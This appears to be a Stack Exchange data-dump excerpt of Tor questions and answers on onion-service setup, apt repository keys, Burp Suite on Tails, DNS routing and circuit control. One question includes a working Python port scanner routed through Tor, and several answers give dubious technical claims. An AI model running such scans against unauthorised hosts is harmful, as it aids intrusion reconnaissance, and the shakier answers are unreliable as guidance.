LastActivityDate="2023-04-13T08:51:40.813" Title="One domain for multiple self-hosted services VS a single domain per service?" Tags="|onion-services|bandwidth|web-hosting|performance|onionaddress|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23685" PostTypeId="1" CreationDate="2023-04-14T09:18:37.437" Score="0" ViewCount="340" Body="&lt;p&gt;I have an issue with this process when trying to log in or authenticate to a site where I only want to use the VPN and don't want the IP to change automatically at that time, as it interferes with the login process. Can someone help me with this?&lt;/p&gt;&#xA;" OwnerUserId="38300" LastActivityDate="2023-04-14T17:22:09.343" Title="How can I disable Tor's automatic IP circuit renewal process?" Tags="|onion-services|security|vpn|ip-address|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23686" PostTypeId="2" ParentId="23685" CreationDate="2023-04-14T17:22:09.343" Score="0" Body="&lt;p&gt;I don't think you can disable it completely, but you can increase the time by changing the &lt;code&gt;MaxCircuitDirtiness&lt;/code&gt; torrc option. The highest allowed value is &lt;code&gt;30*24*60*60 = 2592000&lt;/code&gt; which is 2592000 seconds (720 hours). Changing this value may reduce the privacy provided to you by Tor.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2023-04-14T17:22:09.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23687" PostTypeId="1" CreationDate="2023-04-15T19:14:50.097" Score="0" ViewCount="53" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZPpRQ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZPpRQ.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I eventually would like to have multiple onion services running on my from my laptop. Im trying to download tor client not browser on my Librem 14 (debian) and also have apache2 configured .&lt;/p&gt;&#xA;&lt;p&gt;im trying to follow https ://community.torproject.org/onion-services/setup/install/ but get stumped when i click Enable the Torproject package repository by following the https ://support.torproject.org/apt/tor-deb-repo/ where it tells me to Create a new file in /etc/apt/sources.list.d/ named tor.list . Add the following entries: ```&#xA;deb [signed-by=/usr/share/keyrings/tor-archive-keyring.gpg] https: //deb.torproject.org/torproject.org main&#xA;deb-src [signed-by=/usr/share/keyrings/tor-archive-keyring.gpg] https ://deb.torproject.org/torproject.org main&lt;/p&gt;&#xA;&lt;p&gt;Now when I went in to make the file it’s all ok . I tried to add data to the file tor.list from the files app and it said it was read only so can the entries be made from the files app or do I need to use command line if so what commands&lt;/p&gt;&#xA;&lt;p&gt;keyring.gpg] https ://deb.torproject.org/torproject.org main&#xA;deb-src [signed-by=/usr/share/keyrings/tor-archive-keyring.gpg] https: //deb.torproject.org/torproject.org main&lt;/p&gt;&#xA;&lt;p&gt;and is it ok to tor.list. Add the following entries:&#xA;deb     [signed-by=/usr/share/keyrings/tor-archive-keyring.gpg] &lt;a href=&quot;https://deb.torproject.org/torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://deb.torproject.org/torproject.org&lt;/a&gt;  main&#xA;deb-src [signed-by=/usr/share/keyrings/tor-archive-keyring.gpg] &lt;a href=&quot;https://deb.torproject.org/torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://deb.torproject.org/torproject.org&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;if i see that it is empty and read only&lt;/p&gt;&#xA;" OwnerUserId="38303" LastEditorUserId="38303" LastEditDate="2023-04-15T23:49:03.917" LastActivityDate="2023-04-17T12:48:05.567" Title="Multiple onion services" Tags="|tor-install|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23688" PostTypeId="1" CreationDate="2023-04-17T03:57:22.127" Score="0" ViewCount="132" Body="&lt;p&gt;I am running Bursuite Community Edition on Tails 5.11&lt;/p&gt;&#xA;&lt;p&gt;I have downloaded firefox-esr and have set all ports to 127.0.0.1:6666 which is what I have set burpsuite proxy to listen on. I have also manually generated the certificate file and imported it into firefox. It still keeps giving me the error that the proxy is refusing connections. I have added the SOCKS5 proxy in bursuite as well and have it on 127.0.0.1:9050 which tor is open on. I have also tried setting an upstream proxy in burpsuite to no avail. Help please.&lt;/p&gt;&#xA;" OwnerUserId="38309" LastActivityDate="2023-04-17T16:06:50.487" Title="Burpsuite and Tails OS" Tags="|tails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23689" PostTypeId="2" ParentId="23687" CreationDate="2023-04-17T12:48:05.567" Score="0" Body="&lt;p&gt;You must add apt repositories &lt;strong&gt;and&lt;/strong&gt; corresponding signing keys being a root, so just do &lt;code&gt;sudo -s&lt;/code&gt; and add it from the root user( &lt;code&gt;#&lt;/code&gt; prompt), type &lt;code&gt;exit&lt;/code&gt; after you're done. You need to configure as many hidden services as you want just by adding a corresponding lines to your &lt;code&gt;torrc&lt;/code&gt; and creating directories for them - after that you point their port forwards to your apache2 and that's it!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-04-17T12:48:05.567" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23690" PostTypeId="2" ParentId="23688" CreationDate="2023-04-17T12:49:23.673" Score="0" Body="&lt;p&gt;It's just another case of the question here - read the predecessors for your answer &lt;a href=&quot;https://tor.stackexchange.com/search?q=burpsuite&quot;&gt;https://tor.stackexchange.com/search?q=burpsuite&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-04-17T12:49:23.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23691" PostTypeId="2" ParentId="23688" CreationDate="2023-04-17T16:06:50.487" Score="0" Body="&lt;p&gt;Can't comment, but no, it in fact is not 'just another case of the questions here' believe it or not I can read and checked existing posts before posting. If a link exists on the subject I have read it please kindly only add original knowledge in the future as to be productive.&lt;/p&gt;&#xA;" OwnerUserId="38311" LastActivityDate="2023-04-17T16:06:50.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23692" PostTypeId="1" CreationDate="2023-04-17T18:19:08.173" Score="0" ViewCount="201" Body="&lt;p&gt;I have downloaded some files over tor and also open them outside tor.&#xA;But they are in .zip format.&#xA;Am I still anonymous?&lt;/p&gt;&#xA;" OwnerUserId="38314" LastActivityDate="2023-05-18T01:11:06.747" Title="I have downloaded some files over tor" Tags="|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23693" PostTypeId="1" AcceptedAnswerId="23696" CreationDate="2023-04-17T18:37:47.210" Score="0" ViewCount="44" Body="&lt;p&gt;Safest way to change the permissions of this file so that I can can configure tor package repository and add :&#xA;deb [signed-by=/usr/share/keyrings/tor-archive-keyring.gpg] &lt;a href=&quot;https://deb.torproject.org/torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://deb.torproject.org/torproject.org&lt;/a&gt; &amp;lt; Byzantium&amp;gt; main&#xA;deb-src [signed-by=/usr/share/keyrings/tor-archive-keyring.gpg] &lt;a href=&quot;https://deb.torproject.org/torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://deb.torproject.org/torproject.org&lt;/a&gt; &amp;lt; Bytzantium&amp;gt; main&lt;/p&gt;&#xA;&lt;p&gt;to tor.list file I created in /etc/apt/sources list.d&lt;/p&gt;&#xA;&lt;p&gt;And received not a directory when trying to shift to it i tried to shift to the file in root as well. See picture&lt;a href=&quot;https://i.stack.imgur.com/VqHWR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VqHWR.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="38303" LastActivityDate="2023-04-18T13:29:58.947" Title="Safest way to change the permissions of this file so that I can can configure tor package repository and add :" Tags="|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23695" PostTypeId="2" ParentId="23692" CreationDate="2023-04-18T13:24:21.993" Score="-1" Body="&lt;p&gt;Maybe it's over. Maybe not. Could be two more weeks.&#xA;Nobody knows about your files or if they phoned home.&#xA;It is possible that you are not anonymous anymore. The opposite is also possible.&lt;/p&gt;&#xA;" OwnerUserId="38145" LastActivityDate="2023-04-18T13:24:21.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23696" PostTypeId="2" ParentId="23693" CreationDate="2023-04-18T13:29:58.947" Score="0" Body="&lt;p&gt;Edit it with root account. No need to change permissions.&#xA;Why do you want to cd into a file? tor.list is a file, not a directory.&lt;/p&gt;&#xA;" OwnerUserId="38145" LastActivityDate="2023-04-18T13:29:58.947" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23697" PostTypeId="1" CreationDate="2023-04-19T03:13:52.183" Score="0" ViewCount="64" Body="&lt;p&gt;Burpsuite Community Edition on Tails 5.11&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Firefox-esr proxy settings has warning 'Connections to localhost, 127.0.0.1/8, and ::1 are never proxied'.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I cannot find any mention of the error anywhere. Regardless of burpsuite settings (which are always valid I just change the port) firefox always says proxy server is refusing connections which makes me think its never getting out of firefox but I have no idea how to get around this.&lt;/p&gt;&#xA;" OwnerUserId="38320" LastActivityDate="2023-04-19T03:13:52.183" Title="Firefox-esr wont proxy to burpsuite on tails os" Tags="|firefox|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23698" PostTypeId="1" AcceptedAnswerId="23700" CreationDate="2023-04-19T14:21:26.923" Score="0" ViewCount="3079" Body="&lt;p&gt;When I mention the default download directory, what I mean is the directory where Tor places files downloaded from the internet, and &lt;em&gt;not&lt;/em&gt; the directory where Tor itself is downloaded when updated.&lt;/p&gt;&#xA;&lt;p&gt;I know this default location may vary depending on the system, so let me tell you that I'm using Tor Browser 12.0.4, installed on Debian Bullseye Stable using APT.&lt;/p&gt;&#xA;" OwnerUserId="34426" LastActivityDate="2023-04-25T02:58:16.557" Title="Where is the default download directory in Tor Browser?" Tags="|browsers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23699" PostTypeId="1" CreationDate="2023-04-19T18:49:29.747" Score="0" ViewCount="128" Body="&lt;p&gt;I just want to know is it possible to scan ports on TOR network with python. I wrote a port scanner script but it keeps returning socket error. Why does it not work and any solutions?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import socket&#xA;import sys&#xA;import requests&#xA;import socks&#xA;from datetime import datetime&#xA;from colorama import init, Fore, Style&#xA;import subprocess&#xA;&#xA;init(autoreset=True)&#xA;subprocess.call('clear', shell=True)&#xA;&#xA;&#xA;&#xA;print(Style.BRIGHT + Fore.YELLOW + &amp;quot;START AT:&amp;quot;, (datetime.now()))&#xA;print(&amp;quot;=============COREXITAL PORT SCANNER=============&amp;quot;)&#xA;print(&amp;quot;&amp;quot;)&#xA;target = input(&amp;quot;Enter IP Address:  &amp;quot;)&#xA;hack = socket.gethostbyname(target)&#xA;&#xA;proxy = {&#xA;    'http':  'socks5://localhost:9050',&#xA;    'https': 'socks5://localhost:9050',&#xA;}&#xA;&#xA;&#xA;print(&amp;quot;Starting at: &amp;quot;)&#xA;&#xA;t1 = datetime.now()&#xA;print(t1)&#xA;print(&amp;quot;LOADING...&amp;quot;)&#xA;r = requests.get('http://wtfismyip.com/text')&#xA;print(Style.BRIGHT + Fore.BLUE + &amp;quot;CURRENT IP:&amp;quot;, r.text) #prints my ordinary IP address&#xA;print(&amp;quot;&amp;quot;)&#xA;&#xA;def starthack():&#xA;    print(Style.BRIGHT + Fore.YELLOW + &amp;quot;CONNECTING TOR....&amp;quot;)&#xA;    print(&amp;quot;&amp;quot;)&#xA;    socks.set_default_proxy(socks.SOCKS5, '127.0.0.1' , 9050)&#xA;    socket.socket = socks.socksocket&#xA;    r = requests.get('http://wtfismyip.com/text')&#xA;    print(Style.BRIGHT + Fore.BLUE + &amp;quot;CONNECTED VIA:&amp;quot;, r.text)&#xA;    if r.status_code == 200:&#xA;        print(Style.BRIGHT + Fore.YELLOW + &amp;quot;PROXY STATUS:&amp;quot;, Style.BRIGHT + Fore.GREEN + &amp;quot;OK&amp;quot;)&#xA;    else:&#xA;        print(Style.BRIGHT + Fore.YELLOW + &amp;quot;PROXY STATUS:&amp;quot;, Style.BRIGHT + Fore.RED + &amp;quot;BAD&amp;quot;)&#xA;    print(&amp;quot;&amp;quot;)&#xA;    print(&amp;quot;STARTING PROCESS.....&amp;quot;)&#xA;######################### Fuctions: def means Define. functions are called with the () characters##############&#xA;    try:&#xA;        for port in range(1, 100):&#xA;            hacking = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#xA;            hacking.settimeout(10)&#xA;            result = hacking.connect_ex((hack, port))&#xA;            if result ==0:&#xA;                print(Style.BRIGHT + Fore.YELLOW + &amp;quot;PORT:&amp;quot;, port, Style.BRIGHT + Fore.GREEN + &amp;quot;    OPEN&amp;quot;)&#xA;                hacking.close()&#xA;                print(datetime.now())&#xA;&#xA;            else:&#xA;                print(Style.BRIGHT + Fore.YELLOW + &amp;quot;PORT:&amp;quot;, port, Style.BRIGHT + Fore.RED +&amp;quot;    CLOSED&amp;quot;)&#xA;                hacking.close()&#xA;                print(datetime.now())&#xA;    except KeyboardInterrupt:&#xA;        print(t1)&#xA;        print(&amp;quot;Canceled&amp;quot;)&#xA;        sys.exit()&#xA;&#xA;    except socket.gaierror:&#xA;        print(t1)&#xA;        print(&amp;quot;Hostname could not be resolved. Exiting&amp;quot;)&#xA;        sys.exit()&#xA;    except socket.error:&#xA;        print(t1)&#xA;        print(&amp;quot;Error&amp;quot;)&#xA;        print(&amp;quot;ERROR&amp;quot;)&#xA;        sys.exit()&#xA;starthack()&#xA;&#xA;print(&amp;quot;&amp;quot;)&#xA;print(Style.BRIGHT + Fore.YELLOW + &amp;quot;END OF REPORT&amp;quot;)&#xA;print(&amp;quot;2023 - Corexital&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="38321" LastActivityDate="2023-04-20T19:39:02.743" Title="Python Port Scanner using TOR" Tags="|python|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23700" PostTypeId="2" ParentId="23698" CreationDate="2023-04-19T19:32:32.923" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;When I mention the default download directory, what I mean is the directory where Tor places files downloaded from the internet, and not the directory where Tor itself is downloaded when updated&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If you download Tor Browser the usual way (&lt;a href=&quot;https://www.torproject.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/&lt;/a&gt;), the directory where Tor places files downloaded from the internet is actually &lt;em&gt;inside&lt;/em&gt; the directory where Tor itself is downloaded. So if you downloaded and unpacked Tor Browser to &lt;code&gt;~/tor-browser&lt;/code&gt;, then downloads would be in &lt;code&gt;~/tor-browser/Browser/Downloads&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I know this default location may vary depending on the system, so let me tell you that I'm using Tor Browser 12.0.4, installed on Debian Bullseye Stable using APT.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Since you installed Tor Browser using &lt;code&gt;apt&lt;/code&gt;, I'm not sure where it would be stored. Tor Browser isn't in the Debian apt repositories, so did you add some other repository? Or did you use torbrowser-launcher? If you used torbrowser-launcher, check the directory where it downloaded Tor Browser.&lt;/p&gt;&#xA;&lt;p&gt;Edit from the OP:&lt;/p&gt;&#xA;&lt;p&gt;Normally, you can find this directory quite easily by going to &lt;code&gt;about:preferences&lt;/code&gt; and searching for &lt;code&gt;downloads&lt;/code&gt;. There is a setting for changing the downloads directory, just like in Firefox, where you can see what your present directory is. If this setting has never been changed, then it will show the default directory. In the case where Tor &lt;em&gt;has&lt;/em&gt; been installed using the Tor Browser Launcher, by adding the official Tor repos to Debian, the default directory in Debian Bullseye is &lt;code&gt;~/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/Downloads&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2023-04-25T02:58:16.557" LastActivityDate="2023-04-25T02:58:16.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23701" PostTypeId="1" CreationDate="2023-04-20T12:30:42.690" Score="0" ViewCount="112" Body="&lt;p&gt;imagine if the onion service decided to be the malicious exit node itself. It’s not (Exit node) but could it travel back through its relays (possibly even skip) to the rendezvous point that track you via traffic correlation size? Would the rendezvous point and the two relays you have all have to log or would 2 (entry and rp) be enough?&lt;/p&gt;&#xA;" OwnerUserId="38323" LastEditorUserId="38323" LastEditDate="2023-04-20T12:31:32.333" LastActivityDate="2023-04-20T19:37:32.160" Title="Can a Hidden Service track you the same way an exit node can?" Tags="|onion-services|security|relays|deanonymization|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23702" PostTypeId="2" ParentId="23701" CreationDate="2023-04-20T19:37:32.160" Score="0" Body="&lt;p&gt;Yes, HS can track you in &lt;strong&gt;exactly&lt;/strong&gt; the same way, but using a bit different technique: both of them do inject a clearnet-breaking code or link to be pulled by your browser or software. So they will give you a hook token and will listen for a clearnet IP that will provide it during a query. Traffic correlations and/or route tracing are too expensive and laborious to be used widely, but this tactics is as cheap as hell&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-04-20T19:37:32.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23703" PostTypeId="2" ParentId="23699" CreationDate="2023-04-20T19:39:02.743" Score="0" Body="&lt;p&gt;You have an error: not &lt;em&gt;socks5&lt;/em&gt; - but &lt;strong&gt;actual&lt;/strong&gt; http and https - Tor provides a built-in HTTPS proxy like &lt;code&gt;polipo&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-04-20T19:39:02.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23704" PostTypeId="1" CreationDate="2023-04-20T21:03:31.657" Score="0" ViewCount="100" Body="&lt;p&gt;So I understand that when a user logs into an onion service, &lt;strong&gt;they are logged as &lt;em&gt;”127.0.0.1”&lt;/em&gt; and port&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;now&lt;/em&gt;, &lt;strong&gt;does the onion service log the relays&lt;/strong&gt; or know what relays it connected to in order to establish this connection? &lt;strong&gt;Is it possible to configure it this way and log specific circuits?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Asking from the server side&lt;/p&gt;&#xA;" OwnerUserId="38326" LastEditorUserId="38326" LastEditDate="2023-04-20T22:08:53.960" LastActivityDate="2023-04-21T17:16:57.447" Title="Is an .onion service aware of its own circuit?" Tags="|onion-services|anonymity|relays|onion-routing|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23705" PostTypeId="2" ParentId="23704" CreationDate="2023-04-21T17:16:57.447" Score="0" Body="&lt;p&gt;No, it's not - directly, but using &lt;code&gt;Stem&lt;/code&gt; library you can traverse it if needed&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-04-21T17:16:57.447" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23706" PostTypeId="1" CreationDate="2023-04-22T09:09:08.610" Score="0" ViewCount="154" Body="&lt;p&gt;Tor on Linux. DNAT port 53 DNS requests to TOR DNS listener port set to 9041 on 127.0.0.1 with iptables. tcpdump shows my default gateway answers to same client port.&lt;/p&gt;&#xA;&lt;p&gt;[root@localhost memyself]# tcpdump -nni lo | grep -iF '.53&#xA;.9041'&lt;br&gt;&#xA;dropped privs to tcpdump&lt;br&gt;&#xA;tcpdump: verbose output suppressed, use -v or -vv for full protocol decode&lt;br&gt;&#xA;listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br&gt;&#xA;23:37:39.845298 IP 192.168.2.5.53311 &amp;gt; 127.0.0.1.9041: UDP, length 28&lt;br&gt; 23:37:39.981214 IP 192.168.2.254.53 &amp;gt; 192.168.2.5.53311: 31087 1/0/0 A 23.4.230.19 (44)&lt;br&gt; 23:37:39.982541 IP 192.168.2.5.46980 &amp;gt; 127.0.0.1.9041: UDP, length 28&lt;br&gt; 23:37:40.078528 IP 192.168.2.254.53 &amp;gt; 192.168.2.5.46980: 5315 NXDomain 0/0/0 (28)&lt;br&gt; 23:37:40.079020 IP 192.168.2.5.36305 &amp;gt; 127.0.0.1.9041: UDP, length 28&lt;br&gt; 23:37:40.079067 IP 192.168.2.254.53 &amp;gt; 192.168.2.5.36305: 20568 NotImp 0/0/0 (28)&lt;/p&gt;&#xA;&lt;p&gt;Isn't that strange or am i missing something? However, when tcpdump dumps my wifi adapter, there is no tcpdump output.&lt;/p&gt;&#xA;" OwnerUserId="38337" LastActivityDate="2023-04-24T18:27:29.313" Title="Tor on Linux. DNAT port 53 DNS requests to TOR DNS listener port set to 9041 on 127.0.0.1 with iptables. tcpdump shows my def gateway replies. strange" Tags="|anonymity|help|linux|dns|iptables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23707" PostTypeId="2" ParentId="23706" CreationDate="2023-04-22T09:31:28.277" Score="0" Body="&lt;p&gt;It's because of the wrong firewall logic. Quite a lot of scripts are proposing DNAT - and this is &lt;strong&gt;wrong&lt;/strong&gt;! You have to provide a local DNS resolver - I recommend Bind 9 - and give it to your clients via DHCP or a static field value. After this DROP ALL outgoing private network traffic for a client interface and &lt;strong&gt;only&lt;/strong&gt; after thet utilize TransPort transparent proxy. For a local/single host implement this either via virtual machines or containers - or by per-user rules feature. But do &lt;strong&gt;not&lt;/strong&gt; ever use DNAT!&lt;/p&gt;&#xA;&lt;p&gt;UPDATE for a comment:&lt;/p&gt;&#xA;&lt;p&gt;ISC Bind &lt;strong&gt;was&lt;/strong&gt; quite a pain in the ass and a resource hog until version 9, yes - but they have made a great work to fix it, your 4Gb laptop won't even notice it! Inside the Bind config you're &lt;em&gt;just&lt;/em&gt; forwarding &lt;em&gt;any&lt;/em&gt; query about dot-onion zone to Tor's DNSport and relove recursivly all the rest &lt;em&gt;without&lt;/em&gt; any forwarders from your ISP that are spying on you and censoring your queries in most of the cases. You &lt;strong&gt;don't&lt;/strong&gt; need any kind of VM or even a Docker container for that - just deploy it on your host OS and be happy about it's benefits. The DNS leaks in form of the queries to an upstream DNS server are side effects of DNAT logic mailfunctioning: it's not for it, for sure! And you simply can't handle &lt;strong&gt;all&lt;/strong&gt; the cases possible using it: at least you can't handle a case when the resolving is performed with a server forcibly specified like this: &lt;code&gt;nslookup example.com 8.8.8.8&lt;/code&gt; - or you will have to divert &lt;em&gt;any&lt;/em&gt; DNS query to some static destination like your Tor instance, but... But port 53 is not the only one that can be used for a DNS server - it can be &lt;em&gt;any&lt;/em&gt; port, actually &lt;code&gt;nslookup -port=12345 example.com 1.1.1.1&lt;/code&gt; will jailbreak from this scenario easily: because you physically can't forward &lt;strong&gt;all&lt;/strong&gt; the requests to the DNS port, it won't work. So either you have a routing+TransProxy as I described - or you're using socks5&lt;strong&gt;s&lt;/strong&gt; or HTTPS proxy for your clients. And a VM here will fit just fine even in your 4Gb laptop for a single-host setup. Here is the trick:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;At first, just install Debian &lt;strong&gt;netinst&lt;/strong&gt; with a minimal package selection just with command line tools inside your VM.&lt;/li&gt;&#xA;&lt;li&gt;Compile kernel by hand from kernel.org &lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Torvalds branch&lt;/a&gt; or just take a last stable build from a first page of kernel.org. When configuring it - do &lt;strong&gt;not&lt;/strong&gt; build drivers that are not loaded, so you will have a kernel with a minimal footprint tailored &lt;em&gt;just&lt;/em&gt; for your VM&lt;/li&gt;&#xA;&lt;li&gt;Use this minimal kernel by &lt;code&gt;dpkg&lt;/code&gt;-installing it and route this VM through your host with TransProxy and DNS as I said. So not enable ssh and any other unneeded service! Your overhead for having a VM will be less than 100Mb ram and like 500m on your hard drive: all the rest of resources will spent be &lt;strong&gt;exactly&lt;/strong&gt; the same to run your apps you need to pass through Tor anonymously!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2023-04-24T09:54:22.977" LastActivityDate="2023-04-24T09:54:22.977" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23709" PostTypeId="1" CreationDate="2023-04-22T23:11:09.180" Score="0" ViewCount="61" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HNZ2J.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HNZ2J.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I was able to edit the file and add the entries but now im on step 3 and 4 and nothing seems to happen … Step 3&lt;/p&gt;&#xA;&lt;p&gt;wget -qO- https: // deb.torproject. org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --dearmor | tee /usr/share/keyrings/tor-archive-keyring.gpg &amp;gt;/dev/null&#xA;…&#xA;Step 4&lt;/p&gt;&#xA;&lt;p&gt;#apt update&#xA;#apt install tor deb.torproject.org-keyring&lt;/p&gt;&#xA;" OwnerUserId="38210" LastActivityDate="2023-04-24T14:05:37.233" Title="Enable the Torproject package repository STEP 3 &amp; 4" Tags="|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23710" PostTypeId="1" CreationDate="2023-04-23T15:21:40.587" Score="-1" ViewCount="108" Body="&lt;p&gt;I'm getting mixed messages on connecting to TOR.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Should I use a vpn over a bridge?&lt;/li&gt;&#xA;&lt;li&gt;Any other options?&lt;/li&gt;&#xA;&lt;li&gt;Can I still be tracked&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Trying to keep my connection to tor private.&lt;/p&gt;&#xA;" OwnerUserId="38342" LastActivityDate="2023-04-24T15:22:34.270" Title="Safest way to connect to TOR" Tags="|vpn|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23711" PostTypeId="1" CreationDate="2023-04-23T17:51:41.637" Score="0" ViewCount="126" Body="&lt;p&gt;I've recently been trying to set up some basic tor functionality with firefox by routing certain sites through the tor network to allow for more anonymity and the ability to access tor hidden services. An issue I've come across is that, simply running the control command &lt;code&gt;SIGNAL NEWNYM&lt;/code&gt; to generate a new circuit does not route previously connected websites through the new circuit. Is there a way to request a new circuit for a previously visited website, forget all previous circuits, or do something else to get a new identity for one or all previously visited sites using control commands only?&lt;/p&gt;&#xA;" OwnerUserId="38343" LastEditorUserId="38343" LastEditDate="2023-04-23T20:59:50.407" LastActivityDate="2023-04-24T09:17:41.253" Title="How can I request a new circuit for a site using control commands?" Tags="|circuit|firefox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23712" PostTypeId="1" CreationDate="2023-04-23T21:36:54.643" Score="0" ViewCount="87" Body="&lt;p&gt;I want to run multiple onion services on one laptop . my questions are..  where is the optimal place to keep a separate directory for each onion service? how do i know which ports to use, which ports are available and ideal to use for multiple onion services ? and basically how to configure the torrc file for these needs&lt;/p&gt;&#xA;" OwnerUserId="38303" LastActivityDate="2023-04-24T09:22:35.253" Title="Running multiple onion services" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23713" PostTypeId="2" ParentId="23711" CreationDate="2023-04-24T09:17:41.253" Score="0" Body="&lt;p&gt;There's no direct command to request a new circuit for &lt;em&gt;any&lt;/em&gt; specific purpose due to anonymity - and this is normal. If you are constructing your circuits by hand using Stem library, for example, - then you can control what circuits are made &lt;em&gt;in common&lt;/em&gt;, but not in particular matter&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-04-24T09:17:41.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23714" PostTypeId="2" ParentId="23712" CreationDate="2023-04-24T09:22:35.253" Score="0" Body="&lt;p&gt;Ports are available as per your localhost - try setting not 127.0.0.1/24 on your loopback interface - but like 127.0.0.1/16 - if you need more than 256 equal ports. After that just map your ports to localhost - or to remote &amp;quot;hosts&amp;quot; like real ones, docker containers and/or virtual machines. It's safe to have a folder like &lt;code&gt;hs&lt;/code&gt; inside your Tor directory - and there's no big difference in distributing them across the file system because if the Tor host process is breached - then your hidden services' data can be leaked with equal difficulty. You &lt;em&gt;can&lt;/em&gt; distribute them - if it fits your setup better - not a problem at all. To know which posts to map/use you need to examine your hidden service's workflow: what it will do? For example - for a web server use ports 80 and 443(https is a must for http2 acceleration), for SSH host you will choose a port 22 e.t.c.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-04-24T09:22:35.253" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
